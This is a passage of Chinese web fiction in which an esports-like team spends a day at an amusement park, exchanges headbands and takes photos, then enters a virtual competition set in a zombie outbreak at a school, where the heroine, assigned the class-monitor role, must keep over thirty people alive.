沐浴完后,她拆开昨天晏逾明送来的文件袋,坐在沙发上翻看新的训练日程。 脖颈间挂着的灰绳一直没有摘下来过,在俯身间的动作时,坠着的军牌不经意间露了出来,上面雕刻着1104四个数字,军牌的后面还贴着一张照片,模糊不清。 终端上弹出消息,教练在群里@所有人。 老钱: [大家抓紧休假啊,三天后开始训练,进入下一场比赛的准备状态。 ] 群里一片哀嚎。 温知初低头瞥了眼,回了个收到。 没一会儿,终端再次弹出消息,这次是出现在没有教练的TRES六人小群里。 邱任望@所有人。 Q : [之前不是说了要带妹妹一起去游乐园么,我买了六张九点钟的票,可以一日游。 ] Q:[可以去的呼吸。 ] 群里多了许多省略号。 将铭: [是你自己想去吧? ] Q:[@Wen,妹妹你去不去? [星星眼表情包][期待表情包]] 邱任望好像真的很想去的样子,票也已经买好了。 温知初抬起手,看了眼终端里的日程,片刻后,她回复。 Wen:[我去。 ] Q在群里很高兴地发了很多表情包,得意洋洋地问其他人:[你们呢,还去吗? ] 诎: [1] 将铭: [1] 半响后… 孚:[1] Yu:[1] Q:[一个小时后,八点在基地门口集合,坐车去游乐园。 ] · 今日是个大晴天,确实是非常适合出行的日子。 八点十分的时候,车从TRES门口出发,开往城区中央。 温知初坐在倒数第二排的靠窗位置,因为今天去的是乐园,她上半身穿的棕色针织T恤,下半身是棕白相间的修身半裙,看起来温润又舒服,她依旧没有束头发,棕白色的发带式头箍文静地置于发丝间。 邱任望坐在她身旁,想不到词夸了,老话重说:“妹妹,你看起来像个洋娃娃。” 温知初略微颔首:“谢谢。” 车内的气氛很轻快,日光强烈地从窗外洒进来,将铭负责开车,音箱播放着适合开车的乡村音乐。 温知初安静地落座后,拿出昨天买的书,翻出来看。 晏逾明坐在最后一排,温知初正后方的位置,百无聊赖地往车窗外看,手指无规律地在膝盖上敲动。 她带出来了五本,邱任望好奇地看了看,发现除了一本绘本,其他都是正经书,就没了想借来看的心思。 他指向那本绘本:“这是什么书?” “书店老板送的。”温知初翻开书的封面,显露《Oxigeno》的书名,“外国的绘本,我还没看,主要应该是绘画这位名为Oxigeno的公主的不同装扮,基本以自然色调为灵感。” “哦…”邱任望点头。 温知初把绘本放到一旁,打开另外一本书,翻到别有书签的那一页,缓慢地看。 背后的椅子传来了些微的震动感,温知初若有所感地望向身后的晏逾明。 晏逾明先是看了一眼她头上的发箍,而后开口:“那本书…可以借我看么?” 温知初顺应他的视线看向那本绘本,虽然不明白他为什么要看,但依旧把绘本递给了他。 车平稳地往前行走,车上的人各干各的。 坐在副驾驶的章诎已经睡着了,而坐在最后排另一个角落的屈孚宁正在认真地打游戏,温知初戴着一只有线耳机,垂首看书。 邱任望像是有多动症,完全安静不下来,像个猴子一样动来动去,最后实在忍不住,翻到了最后一排中间的位置,脑袋凑向晏逾明的方向:“Yu哥,你看这书?” 晏逾明没有抬眼:“有意见?” “没有啊…”邱任望就是好奇,“老大,你看这书…能收获到什么呢?” 晏逾明:“教练让我买些常备衣服给新来的队员。” 他的胳膊撑在车窗上,淡淡地抬眼:“参考买什么款式。” 第32章 034号听到了晏逾明和邱任望的对话, 不过没有和宿主分享。 它检查了一下男主对宿主的杀意值,果然居高不下果然无法用常理来推测男主的行为轨迹,为什么要在表面上对一个终究会动手的人这么体面完全可以拒绝教练的要求。 难道是为了享受对猎物猎捕过程中的乐趣? 细思、细思极恐。 034号不打算告诉宿主自己的推测了, 毕竟宿主就算知道也不会在意这也是个用常理无法推测出行为逻辑的人, 甚至有可能都不是人。 这两个人,一个知道对方想杀自己却乐意见此局面,另一个想杀对方却装作体贴的模样就这么假装互相体面起来。 看似平静的局面下, 宿主的耳尖似乎又红了些,不知道是因为外面太阳晒的, 还是因为刚才男主的靠近 邱任望赖在后排看绘本,看到一个春季的Oxigeno穿着,指着:“这套和妹妹现在穿的有些像,都是棕色系的,就是没挂这个小熊玩偶罢了。” 晏逾明漫不经心地看着绘本。 绘本中的日常服装不少, 但是更多的是比较偏童话故事风格的服饰。 邱任望指向Susurro Lunar:“这套好看,日常也能穿。” 中文名字是月下风吟,主色调是浅月白,真丝的裙摆轻盈, 携带珍珠光泽,仿若夜晚洒落在雾气中的冷淡月光。 他又指向Luz del Bosque:“这个妹妹肯定穿了也好看。” 中文名是薄暮森,是一套略带古典气息的深绿色长裙。 邱任望指着下面一行外语问:“ Yu哥,上面写的这是什么意思?” 晏逾明瞥了眼:“灵感来源于傍晚森林里斑驳的光影。” 裙子的主色调是松绿,袖口和领口缀着金色阳光碎片般的细小亮片,绘本中,如同夜晚森林里萤火虫飞舞的踪迹。 逐渐的,晏逾明似乎对绘本失去了兴趣,拿着绘本仔细看的人变成了邱任望,他看得很认真: “我认识一个专门做这种衣服的,等会儿我问问” 晏逾明看了一眼前座的温知初,而后淡漠地望向了窗外倒退的景色,侧脸被光景衬得愈发冷淡。 半个小时后,游乐园到了。 主题乐园中人头攒动,邱任望冲在最前面,一幅兴奋到不能自已的模样,将铭拖住他的背包:“你能不能老实点儿。” 邱任望置若罔闻:“幸好我所有项目都买了快速通道,要不然有的排队了。” 人流量特别大,屈孚宁把自己从头到脚包得一点皮肤都不露出来,生怕近距离碰到什么人。 章诎看了眼地图,眯着狐狸眼:“先去激流勇进吧。” 激流勇进门口十块钱一个的雨衣还是老价格,领了雨衣后,大家坐进座位。 晏逾明没进滑道,他站在围栏外,蓝牙耳机亮着,在和人通话。 邱任望探出脑袋:“Yu哥,你不一起?” 晏逾明指了指自己的通话终端,又指了指手上拎着的相机,背过身,温知初垂眼望了围栏外的人影一眼,停顿片刻后才收回眼神。 看到Yu哥没进来,屈孚宁也想临阵脱逃,被将铭按住了:“又不会翻,别紧张。” 屈孚宁:“但会湿透。” 将铭:“没事,有雨衣。” 船只随水流缓缓前进,迎面是高耸的滑道,瀑布般的水流从最顶端倾泻而下。 “刺激!”邱任望坐在最前面,回头冲温知初笑了一下,“妹妹,你要不要闭眼?” 她还没来得及回答,船体已经开始攀升,机械齿轮咔咔作响,水声轰鸣在耳边,不远处传来游客们兴奋的尖叫。温知初抬头看了一眼瀑布,她对这种娱乐项目并没有特别的兴趣,但也没什么排斥。 船只一直往上升,颠簸中水流溅来溅去,游客们的尖叫声没停过。 “不是,今天这水怎么这么大啊。” “诶哟,进雨衣了 ” 船到达顶端的刹那:“——嘭!” 水幕翻卷而起,狠狠地砸了下来,来势完全超过雨衣能承受的程度。所有人都被溅了一身,温知初也不例外,湿漉漉的水珠顺着头发往下淌,肩头也湿了。 最惨的是邱任望,他被淋得最透,头发都贴在额头上,嘴里往外吐水,但依旧很兴奋:“哈哈哈怎么往人头上洒水啊哈哈哈哈今天是泼水节么?” 旁边的将铭抹了一把脸上的水:“ ” 而岸上的晏逾明一身干爽,懒洋洋地倚着围栏,他举着手中的相机,目光从水池上的他们扫过去,不紧不慢地说:“坐好了。” 温知初对上视线的那一刻,看见他手里拿着相机,对着他们的狼狈模样拍了几张,眉梢微扬,带着点调侃的意味。 一行人上了岸,大家都淋湿了,章诎去租了烘干机,分给他们。 温知初接过后,烘着自己湿漉漉的头发和肩膀,章诎蹲下身,顺势帮她烘裤腿,温知初有些讶异的垂首望向章诎:“谢谢。” 章诎一幅大哥哥的口吻:“别感冒了。” 晏逾明的目光从相机取景框后移开,看了温知初一眼,没说话,继续接电话去了。 湿透了的邱任望依旧兴致冲冲:“接下来去地下城。” 地下城是主题风的探索项目,场景设计得像地下迷宫,偶尔会有机关和奖励出现。 路上会有很多工作人员装扮的怪物,他们需要通关一个个谜题,去拯救迷宫最后一站的精灵王子。 温知初走在前面, 将铭走在她身旁,保持面瘫状地打开手电筒,帮她照亮前面的路。 “怕不怕?”将铭问。 温知初:“设计元素并不恐怖。” 将铭:“是,在比赛里遇到的比这些设计可怕多了。” 这个地下城显然更适合心智未成熟的小孩儿玩譬如完全沉浸入其中的邱任望,时不时就去拨弄下道具。 中间有NPC出来吓人,伴随着刺耳的音效冲向温知初,温知初瞥了一眼,侧身避让,倒是一旁的邱任望被吓出了米奇妙妙音:“这个音效这么大声的吗” 游客们看到NPC没笑,看到邱任望这个反应倒是笑开了。 晏逾明没进来,在外面等着,一边处理事情,一边懒散地靠在墙边看终端。 项目玩着,一路向东来到了恐龙乐园。 恐龙乐园是个沉浸式体验项目,游客们乘坐观光车,行驶在仿真的侏罗纪世界里,四周是栩栩如生的机械恐龙,草丛里隐约有“捕食者”埋伏。恐龙庞大的脸会贴在车玻璃上,朝游客吼叫,一叫,车玻璃都在震。 天上有翼龙在飞。 温知初坐在靠窗的位置,手指划过食指戒指上的终端摄像光屏,时不时记录外面的场景,深黑的双眼中有好奇,似乎从未了解过此类侏罗纪。 晏逾明注意到,走过去,没多说什么,把自己的相机递给她。 “?” “会用吗?” 温知初接过相机,稍微调整角度,在意识到她和晏逾明之间的距离过于近时,她往窗边不着痕迹地退后了一步:“ 会。” 她转过身,将镜头对朝外,生涩地按动快门。 晏逾明站在她身后,看着她的取景框,手肘靠在椅背上。 温知初注意到身后站着人,有些分神地想要戴上帽子,但今天穿的不是卫衣,没有卫衣帽可以戴她抿了抿唇线。 四周很安静渐渐地,她拍得顺手了些,不再分神。 从恐龙园出来后,一路上都是主题区的打卡点,游客们和扮演不同IP人物的工作人员合影。 “来。”队友们都很热情,认为别人有的自家的新队友也得有,“小温,你站那儿,我们给你拍照。” 温知初:“” 一路上拍了不少照,看到队友们似乎挺开心,温知初礼貌性地没有拒绝他们的请求。 章诎看出来她似乎并不沉浸于此,走上前,站在她身旁一起拍合照。 公主和王子玩偶很赏面地在后面比耶。 拍完后,工作人员有些好奇地问:“你们什么关系啊?”如果是情侣的话可以给他们推荐一个优惠的组合玩偶。 章诎:“哥哥妹妹。” “啊”工作人员笑呵呵得,“你们长得不太像啊。” 往前走,还有长龙般的IP打卡区,排队的人太多,众人没有再拍照,将铭买了热狗和年糕串,分给大家吃。 不过适才一直对合照没什么兴趣的温知初停下脚步,她盯住其中一个拍摄点 《小朋友都爱的宝镜》。 温知初走上前,第一次主动合影,一群卡通人物蹦蹦跳跳的。 一行人在旁边的太阳伞下吃冰淇淋,邱任望坐着,目光呈慈哥状:“哟,妹妹终于遇到喜欢的了。”就是那几头眼熟的猪看得他头疼。 他转头望向晏逾明:“Yu哥,你说呢?” 晏逾明站在太阳伞外,略微眯了眯眼,片刻后,他低声道:“还是小孩儿呢。” 他抬起相机,替远处的温知初和宝镜拍了一张合照。 过了会儿,其他人去坐过山车去了,邱任望因为比赛后遗症,暂时不能坐过山车,留在太阳伞下。 晏逾明打完电话后,走进来。 邱任望翻看着绘本,看得挺仔细:“ Yu哥,要不教练让买衣服的那件事我来办吧,你估计也没时间。” Yu哥不像是会对这些事有功夫悉心去处理的样子。 晏逾明随口回答:“行。” 邱任望虽然看起来吵闹,但其实挺细心的,他打开终端找列表里的一个女训练官:“我们这些男的不太能设身处地知道女孩儿喜欢什么,我觉得还是让懂的人来买,这个绘本上的衣服,我再找人” 晏逾明抬眼:“绘本上的衣服不用你去定做。” 他接过绘本:“给她定些日常衣服。” “行” 另一边,女训练官已经回了信息,说交给她来办。 坐过山车的四个人回来后,邱任望立即把手里的甜筒炫完,片刻都坐不住:“去鬼屋,去鬼屋。” 是坐着体验的那种鬼屋,主要是游览,没多少吓人的,听说还没有地下城恐怖。 在鬼屋外面,有卖游乐园主题装扮的推车。 将铭面瘫着张脸,倒是对这些小东西挺感兴趣的:“有仪式感些,每个人都买个吧。” 章诎:“买头箍?”其他的太花哨了。 将铭点头:“行。” 章诎很干净利落地拿了个狐狸头箍,戴在自己脑袋上,转过头问温知初:“妹妹,好看吗?” 温知初略微颔首:“很适合。” 章诎:“你戴这个?” 温知初摇头:“我看看其他的。” 将铭拿了个雪宝头箍,邱任望拿了个猴子头箍,屈孚宁拿了个写着隐形二字的文字头箍。 剩下的头箍没什么了。 将铭注意到有个狼耳朵头箍,朝身旁的晏逾明说:“我记得妹妹粉丝好像喜欢把她和狼联系在一起,要不买这个狼耳朵给妹妹?” 晏逾明伸手,挑出那个狼耳朵,略微挑眉。 狼? 比赛的时候,确实有点像 温知初就站在他们身旁,看到晏逾明转身,抬起手,预备接过那个狼耳朵头箍。 晏逾明垂眼望向她,谢字已然到了温知初的嘴边,晏逾明伸出手把狼耳朵戴到了自己的脑袋上。 将铭:“ ” 温知初:“” 晏逾明:“要和我戴一样的?” 温知初迟疑地摇头。 晏逾明抬起手,拿起另外一个头箍:“那你戴这个?” 温知初还没反应过来,晏逾明走近,把头箍戴到了她的脑袋上,一对草莓很可爱地立着。 他说:“看起来和你更像。” 第33章 六个人走进内场, 在门帘外等待,门帘内传来若有若无的阴森音效。 晦暗的光线下,温知初的耳廓自戴上发箍起就泛着红晕,到现在还没消下去,幸而灯光足够昏暗,没有人发现。 温知初站在一旁,一幅若有所思的样子盯着门帘,本来话就少,现在话更少了。 这幅样子, 只有034号知道宿主是因为晏逾明害羞了, 其他人都以为她是兴致不高。 “Yu哥,”邱任望道, “你该不会惹小温生气了吧?” 他无声地用嘴比了比温知初的方向:“自从她戴上那个草莓头箍后,就一直没说过话了。” 在他心里, 温晏两人的关系,是共同经历完一场比赛后才好不容易缓和了些的,可别因为一个头箍事件,又被打回开放前了。 对话被打断, 工作人员开口,掀开门帘:“请进。” 六个人登上轨道式鬼屋的座椅,围杆落下。温知初低头系好安全带, 听到后面一排窸窸窣窣的声音。 她侧过脸, 发现是晏逾明正在把他的头箍取下来, 望向她:“跟你换?” “……”温知初楞着,没反应过来他为什么这么做。 车厢缓缓启动,轨道带着他们滑入黑暗之中。 温知初顺着晏逾明的话,把自己脑袋上的草莓发箍摘下来,她略微抬起头时,晏逾明已然把狼耳朵发箍戴在了她的头上。 他直起身,把草莓头箍戴到了自己头上。 温知初好奇地看了眼晏逾明头上的那对草莓…不明所以地眨了眨眼。 鬼屋内比想象中恐怖一点,阴冷的人造风从暗处吹来,非常冷。墙壁上嵌着许多眼睛,幽幽发光的仿生眼随着游客的动作而旋转眼睛珠子。 轨道跟随背景音颠簸,突然,一只苍白的手从黑暗中伸出,狠狠拍在车厢边缘! “……”屈孚宁差点从座位上跳起来。 邱任望在一旁无声地发出幸灾乐祸地笑。 下一秒,惨白的女鬼猛地从天花板倒吊下来,伴随着尖锐的惨叫声,直接对着众人俯冲而下。 温知初抬头看了一眼,又收回眼神。将铭和章诎表现得很淡定,邱任望不知道被戳到了什么笑点,抓着屈孚宁的胳膊前俯后仰的笑。 屈孚宁不习惯任何人的触碰,努力把自己的胳膊往外拽。 温知初坐得很端正,晏逾明望着她脑袋上随风晃动的狼耳朵,嘴角不明显地勾起。 十分钟过后,众人从鬼屋中走出来,外面的日光在对比之下显得刺眼。 温知初戴着狼耳朵,表情平静,其他人这才发现,晏逾明顶着一对草莓头箍,很是违和。 几个人用力地抿住嘴唇,不让自己笑出声。 晏逾明依旧戴着那对草莓,无所谓地耸了耸肩,望向他们:“不合适?” 没人敢说不合适:“合适、Yu哥,特别合适…” 温知初低头看了看地面,狼耳朵的影子毛茸茸的。 …… 夜幕降临,游乐园的灯光亮起,烟花在远处的高空绽放。六人坐上摩天轮的包厢,随着高度升高,整个游乐园的全景尽收眼底。 邱任望:“没想到,我第一次坐摩天轮,是跟队友们一起来的。” 温知初静静地望着玻璃外的夜景,一簇烟花在外面炸开,璀璨的金色光芒照亮她的侧脸,深黑的双眼倒映夜空的火光,由于人太漂亮,在光亮中显得有种不真实的恍惚。 将铭随手用终端拍下这一幕,扭头对晏逾明说:“这张不错。” 晏逾明瞥了一眼,没说什么,他举起手中的相机,对准温知初,按下快门。 烟花绽放,玻璃上映出六个人的身影,章诎提议:“拍个合照吧。” 他们围坐在一起,温知初本能地想站到角落的地方,被章诎勾住肩膀,拉到了镜头正前方。 快门按下,一张六人的合影被定格在夜色之中。 烟花不停地绽放着,似乎不停歇了。 · 翌日,TRES战队在游乐园游玩的照片在星网上不停热转。昨天其实有许多粉丝偶遇了他们,拍下不少路透,不过都非常有风度地没有打扰他们。 到了今天,照片全都曝晒了出来。 游乐园官方也po出了TRES众人在鬼屋中的画面,六个人坐在轨道车上,表情各异,非常生动。 其中最火的是有关狼耳朵和草莓的议论。 温知初在前座,戴着狼耳朵,表情冷静;晏逾明在她身后,顶着草莓头箍,冷漠的神情和那两颗草莓形成鲜明的对比。 [知知戴狼耳朵太可爱了吧! ! ! ! ] [一道早上起来我这是看到了什么,草莓头箍的Yu…… ? ? ? ] [Yu,你要是被绑架了就眨眨眼。 ] [温知初的狼塑认证! ] 不少粉丝被狼耳朵萌得嗷嗷叫,把温知初戴狼耳朵的照片抠出来,换成自己的头像,评论区一片“知知好可爱”。 温知初:“……” 她结束晨跑回来后,评论区的网友们都换上了统一的头像和话术。 温知初坐在沙发上,头发因为刚刚沐浴过,吹得半干,还湿漉漉的。 她点开评论区,继续往下翻,看到了一张大合照,这张合照里,她和晏逾明的身影是错开的,两个人的影像都很清晰。 她安静地看了会儿,左键,点了保存。 日光从落地窗外洒进来,窗帘轻晃,温知初起身收拾房间,此时,门口响起了敲门声。打开门,映入眼帘的是负责她的一个女训练官,她身后的机器人身上,装备了几个大纸箱。 女训练官笑着望向温知初:“来给你送衣服。” 温知初房间的衣帽间非常大,是个带回廊的独立空间,但温知初从来没进过,她的衣服很少,放在卧室的小衣柜就够了。 女训练官带着机器人进来后,原本空荡荡的衣帽间,终于被填满了一个大衣柜。 女训练馆送来的都是比较少女风格的、温知初平常不会主动去购买的衣服。 “怎么都是空的?”女训练官关切地问,“果然你们这些孩子没时间也没兴趣去买衣服…” 她道:“这些衣服都是战队福利,得空的时候偶尔穿穿,就当换个心情,不喜欢也可以不穿,就当战队的心意。” 女训练官考虑得很周全,她挑的衣服都是日常能用到的款式,非常契合十七岁这个年龄段。 温知初温和地道谢:“谢谢,我衣服其实够的。” 女训练官笑了笑:“还可以更多。” 她补充道:“这是教练让办的,一开始好像是让小邱去办,后来他托付给了我。” 温知初再次道谢。 女训练官和温知初聊了会儿之后训练的细节,没有久留,很快就离开了。 温知初看了眼敞开的衣柜,略微挑了挑眉,她倚靠到柜旁,打开终端,给邱任望传了条消息。 Wen:[谢谢。 ] 邱任望几乎秒回了一个表情包。 Q:[不客气。 [墨镜][大墨镜]] Q : [还有什么需要的都跟哥说。 ] 温知初关闭终端,嘴角微不可察地弯了一下。 · 休假的时间加起来总共没有一周,休假一结束,半个月的训练立即展开,等待六个人的是高强度的体能和精神力训练。 由于每个人都配备各自的训练官和技术分析人员,他们在不同的场馆单独训练。 老钱训得最狠的就是他们的精神力忍耐性。 这次在比赛里待了两天两夜,大家就被耗成这样,往后被困在里面的时间只会越来越长,别到时候比赛赢下,但精神力崩溃,就算脱离比赛也会死亡。 队员们大部分时候都分开来训练,偶尔合练,也只是匆匆几面,短暂交流几句就会分开,训练时,无论是谁无论平常什么性格,各自都会保持锐利的专注感,笑闹的时间完全被摒弃。 十五天的时间很快就过去,温知初站在射击靶前,耳机的另一端传来场外训练官的声音。 “今天晚上集合,准备迎接第二场SS赛。” 温知初抬眼,她举起枪,瞄准、扣准扳机。 “砰”的一声,子弹正中靶心。 她开口:“收到。” · 不同于上一次,这一次的SS赛开启时间在夜晚。 晚上八点,夜色中,换上队服的队员们踩上军靴,在门口集合。 夜晚的风倒不算凉,五月末的湿气让人有些发困,军用卡车运着主力队员和训练官,徐徐循着夜色离开。 最终到达目的地的时候已经是九点,卡车的尾门打开,队员们依次下车。 温知初扶住车栏,从卡车上翻跳而下,轻声落地。 034号有察觉到了那种熟悉的感觉…是剧情…剧情果然还笼罩在这片区域,蛰伏着。 眼前的依旧是上次的那片荒岭,数据流的光芒在域中穿行,他们抵达之时,域已然打开。 老钱的视线肃然地从他们身上挨个划过:“有了上次的经验,相信你们这次也能对SS赛稍微有所了解,不过<深渊>瞬息万变,不要在任何时候掉以轻心。” “还是那句老话。”老钱说,“无论输赢,必须要活着。” 数据流风暴般开启,域所在的门形成一个漩涡。 队员们一个一个地踏入了域,没有再看身后的路。 温知初俯身,弯腰踏入了域。 广播:[领域展开。 ] 广播: [SS赛程开启。 ] 广播: [赛制:长时剧情赛;剧情将随机为各位分配角色,请遵守杀戮和剧情规则。 ] 广播:[注意保护自己的意识,警惕任意剧情带来的错觉。 ] 随着冰冷的电子声,周身陷入伸手不见物质的黑暗中。 耳畔响起熟悉的水声,温知初睁开眼,她垂眼,身下的位置,果然是游泳池旁的座位。 这里的温度比外面世界冷许多,人一进来,身上顿时起了许多鸡皮疙瘩。 面前展露电子光屏。 剧情:丧尸病毒爆发后,高三四班在班长的带领下逃出教学楼,绕过食堂来到了游泳馆。在游泳场馆,你们遇到了体育部的一行人,一起暂时组成了队伍。 时间:现在,你们已经是在游泳场馆躲着的第八日,便利店的食物还能坚持几天? 终端很快弹出主Tactic位发来的信息。 诎: [统计下,我的人物设定没有变化,和上次一样,有没有人变了? ] 孚:[没变。 ] 将铭: [没变。 ] 这条长龙没有再继续接下去,因为…温知初抬眼,她改变了。 电子光屏上,原本写着副班长的人物栏被擦拭殆尽,换成了新的一行字。 人物:高三四班的班长,正直、善良、即使牺牲自己也要守护他人的性格。 游泳场馆的指针指向了夜晚十点。 新的敌方,显然也已经就位。 第34章 SS赛的直播开启,光屏上的弹幕纷至沓来。 [第二轮这么快就开始了么,好赶,队员们身体来得及恢复么… ] [SS赛好辛苦,感觉S赛的奖金也够用了,不知道为什么TRES想不开要来SS赛。 ] [听说是想找到出<深渊>的办法, 要我说, 这无异于天方夜谭, 之前我最看好的几个S队,进了SS赛没过几轮就全军覆没了, 甚至那个时候还没有剧情这个设定…] [别说丧气话了, 好好看吧,他们的人物设定好像有变动。 ] 变动的何止是人物设定。 光屏中, 游泳场馆的俯瞰图纳入眼帘。 傍晚十点,游泳场馆外是密密麻麻的丧尸, 人头攒动,分布在校园的各个角落,原本干净整洁的红墙棕瓦间零散糜烂的血肉。 地面内偶尔有逃生的学生穿行,很快就被丧尸群给拖进尸堆, 尖叫声中血溅满地面。 矮墙上的爬山虎倒是依旧开得盎然,就算被溅上许多血迹,叶片也愈发有光泽,原本享受着青春的、穿着校服的高中生们依旧游荡在校园内,只不过已然变成了发青发黑的尸体,双眼浑浊,校服破烂,心里只剩下吞食人类的贫瘠欲望。 [欸,突然有种说不上来的感觉,大家还记得上一次我们打开直播吗,那时候的校园真的很漂亮,有打网球的有背单词有翘课的,这些学生都还活着,就算有烦恼,也只是烦恼于怎么躲掉课业多玩会儿,而不是像现在一样…那时候真的像青春校园剧一样。 ] [不觉得和我们很像吗,只不过我们遭受的是电子灾难,他们遭遇的是丧尸灾难,我们…都没有明天了。 ] [不行,我精神力有点儿受不住了,先去吐一下,SS赛的精神污染有点太严重了。 ] 楼梯上,背着书包的学生丧尸缓慢地往上爬行,肚囊是被剖开的,里面空荡荡的什么都不剩,书包后面的玩偶只剩下了半只,棉花里吸满了血。 光从校园的俯瞰图中来看,无人能想到求救、逃脱的任何可能性。 游泳场馆内一片寂静,傍晚十点,没有任何一个人睡觉,外面丧尸嘶吼的声音越大,里面的人就越安静。 月光洒进顶部玻璃照到地面的光影依旧很美,只不过已经没有人有闲情去欣赏。 因为章诎在二楼,温知初往二楼走去,她上楼的过程中,她的人物卡弹出来。 人物信息资料。 姓名:温知初。 人物背景:高三四班的班长。 性格:正义、勇敢、就算牺牲自己也要拯救他人的存在,负责带领高三四班逃生。 大片的问号于弹幕屏上飘过。 [] [] [知知怎么变成变成班长了?那Yu变成谁了?变成另外一个人吗? ] [Yu在哪里?还有邱任望呢? ] [暂时都没看见…] 章诎站在二楼楼梯口旁的围栏处,眯着狐狸眼往下看,从他这个角度,可以看到一楼大部分的人。 学生们三三两两地散落在各处,只开了手电筒,场馆内故意弄得昏昏暗暗的,提防吸引来外面的丧尸暴动。 温知初站到他身旁。 章诎:“来了?” 温知初略微颔首。 作为此轮的主Tactic ,章诎在群里喊队员们来二楼,目前只有温知初一个人来了。 章诎望向远方:“将铭来不了,他应该被剧情任务拖住了。” 温知初望向将铭所在的方向,他站在一楼走廊处,和另一个高个子男生密切地聊着什么。 屈孚宁也一样,因为远离人群的人物设定,在没有开脱离剧情的权限时,他不可能主动来二楼和人交流。 温知初:“邱任望呢?” 作为一向回终端消息最勤快的邱任望,他到现在还没在群里冒泡。 章诎抬起手腕看了眼终端:“还在联系,他的人物设定很有可能也变了。” 章诎:“如果你还是上次那个副班长人物设定,你也没办法来二楼跟我交流。” 他道:“这次你分到的是班长?” 温知初低头看着楼下的人群:“是。” 班长来找人主动交谈,完全是合乎人物设定的。 章诎:“这次有一个新的限定规则出现了。” 作为主Tactic,只有他能在自己的光屏上看到这项规则:“互相不能交流各自的剧情任务,除了班长的。” 班长是这个丧尸校园剧情的戏眼,总剧情的变动,基本都是由班长这个人物推动的,所以无所谓公开不公开。 章诎一边说一边在终端里编辑,把他们两人谈话的内容发送到群里。 弹幕流动着。 [这次小温运气终于不错,能抽到个正面人物了,也方便行动。 ] [是啊,应该行动难度低一些吧? ] 就在此时,冰冷的<深渊>电子音于半空响起响起,所有TRES参赛人员都能听到这道声音。 [本次TRES目标,是四天内,保证高三四班和体育部两个群体都活着,此目标同时是班长人物的必须完成剧情目标。 ] [完成此目标后,方能脱离比赛。 ] [请所有TRES队员查收此目标,见机行事,和谐进行赛事。 ] 章诎皱起眉,望向半空。 保证场馆里的所有人活着… 弹幕急剧增多。 [什么?这次规则不是杀人,是保人? ] 保人可比杀人难多了,有太多不确定性。 [这很危险啊,敌方六个人现在肯定有在场馆内的人,到时候他们动手怎么办…场馆里这么多人,怎么盯着啊,这还是小温的剧情任务… ] [我收回之前说她这次终于幸运了点这句话,这简直是倒霉催的抽到班长这个角色。 ] [场馆里一共多少人啊] “高三四班这个群体算上我们两,有十八个人…”章诎数着楼底下的人。 其中也有高二七班、高三三班、五班的人,高三四班的学生是人群核心,所以群体用高三四班代称。 温知初垂眼望着:“体育部有十二个人。” 这已经有三十人了,还没算上没有在一楼公开场所待着,可能躲在隐秘角落休息的人。 要保证在四天内,超过三十人的性命安全。 [不是吧,这怎么管得过来… ] [四天?要在比赛至少待四天,这很危险啊,对精神力耗竭是上次比赛的两倍。 ] [TRES救护车都找好了吧,必须停在赛场外随时待命啊。 ] 温知初开口:“不止三十人。” 她垂眼盯向黑暗处的一角,有个人影倚靠在墙边,身体完全陷入漆黑中:“我看到…Yu了。” 晏逾明有若所感地抬眼望向二楼,他的目光很准确地落在温知初的身上,那眼神算不上友好,定了片刻后,才收回了视线。 他走向黑暗更深处,直到二楼无法看到他的身影。 不同于上一轮比赛抽到的班长,他这次的人物设定显然是个远离人群的存在,有人经过他身旁的时候,都会忍不住加快脚步离开,像是在畏惧着什么。 [啊啊啊啊Yu神。 ] [终于看到Yu了。 ] [诸位,我有种不妙的预感,Yu好像抽到了一个不是很好的角色…] [我怎么感觉Yu和小温之间那种针锋相对的感觉还是这么明显…别告诉我这次他们俩还是那种可能有矛盾的人物设定… ] [完了,我觉得这次Yu好像抽到了加强版反派的副班长…] [别啊…] 越是不幸的直觉,越是能成真。 晏逾明的人物卡弹出来。 人物信息资料。 姓名:晏逾明。 人物背景:高三四班的副班长,和班长矛盾积深。 性格:阴冷、内心黑暗,自私自利,有损害他人生命安全的可能性。 [完了。 ] [完了完了完了…这个人物设定和总目标背道而驰啊! ] [和班长关系不好的,岂不是可能他们两个的剧情目标是互斥的? ] 章诎看完人物资料后,神情变得凝重:“有损害他人生命安全的可能性…也就是说,他的剧情任务很有可能和总目标相反,是去杀人…” 温知初的目光还停留在Yu的人物资料上,眼神定着,没有回神。 [不是…小温这什么运气,每次都抽到这么倒霉的人物设定,不仅敌方队员有可能在暗处阻碍她,队内的队员也成为了抗力。 ] [不愧是幸运E,我服气了…] 班长成了这局最难抗的角色,关键剧情节点如同在雨后春笋般在温知初的光屏上翻新,电子提示音响了个没停。 内部、外部、敌方、食物、地点、时间…有无数的事情,需要班长去解决。 人物设定中的即使牺牲自己也要拯救他人也无比刺眼,就像是某种不详的谶言。 班长这个人物设定带来不尽的不便,唯一的好处,就是她可以自由性比较高地和其他人进行交流。 毕竟班长作为团队的领导存在,是一个会和所有人都主动交流的人。 夜晚22:30。 温、章二人来到二楼的休息室,对接下来的行动进行简短的交谈。桌上摊着纸笔,两人面对面坐下。 游泳场馆内的温度很低,二人都把校服外套穿上了。 他们没有关门来挡住穿堂风,门敞开着,以防外面有任何不对的动静,好随时响应。 章诎:“先对一下权限,我的权限依旧和上一次的给主Tactic的权限一样,一个是查验敌方的权限,一个是脱离剧情30min的权限。” 权限的开启仍然是需要通过完成剧情关节节点来支撑。 温知初:“我只有一个权限。”抽取武器。 章诎眯了眯狐狸眼:“现在的总目标是保证这三十几个人在四天内一直活着,阻碍有哪些?” “首先。”温知初平静地开口,“食物。” 这已经是这一群人在有用场馆内待着的第九天,一楼的便利店本来就小,主要是卖泳衣和相关游泳设备的,除此之外的食物相对 较少。 章诎:“剩下来的食物还能支撑几天?” 刚才上楼之前,温知初去便利店看过,食物已经快没了。 温知初:“最多两天。” 还是在大家一起一天一餐,挨饿的情况下。 温知初在纸上写上了食物二字。 岌岌可危的食物资源,意味着更多的危机——情绪危机。 章诎:“群体内部本来就有矛盾,大家情绪本来就不好,这么一饿,有的人想出去,有的人不敢出去,这下就容易产生争执。” 甚至是肢体矛盾。 他道:“我和高二七班那些人的矛盾基本每次都在肢体冲突边缘,还有体育部和高三四班之间…七班那里有我盯着,我尽量不会在这四天内和他们起太严重的矛盾。” 还有个大问题。 不能让任何人离开这个游泳馆。 温知初:“不能让任何人出去。” 大家一起待在同一个地方,她才能保证他们的安全,但凡分开,分身乏术。 章诎:“食物不够,到时候肯定有人闹着出去。” 这是肯定的事。 温知初:“我知道。” 章诎:“有想法?” 温知初:“必要时候,我带人出去找食物。” 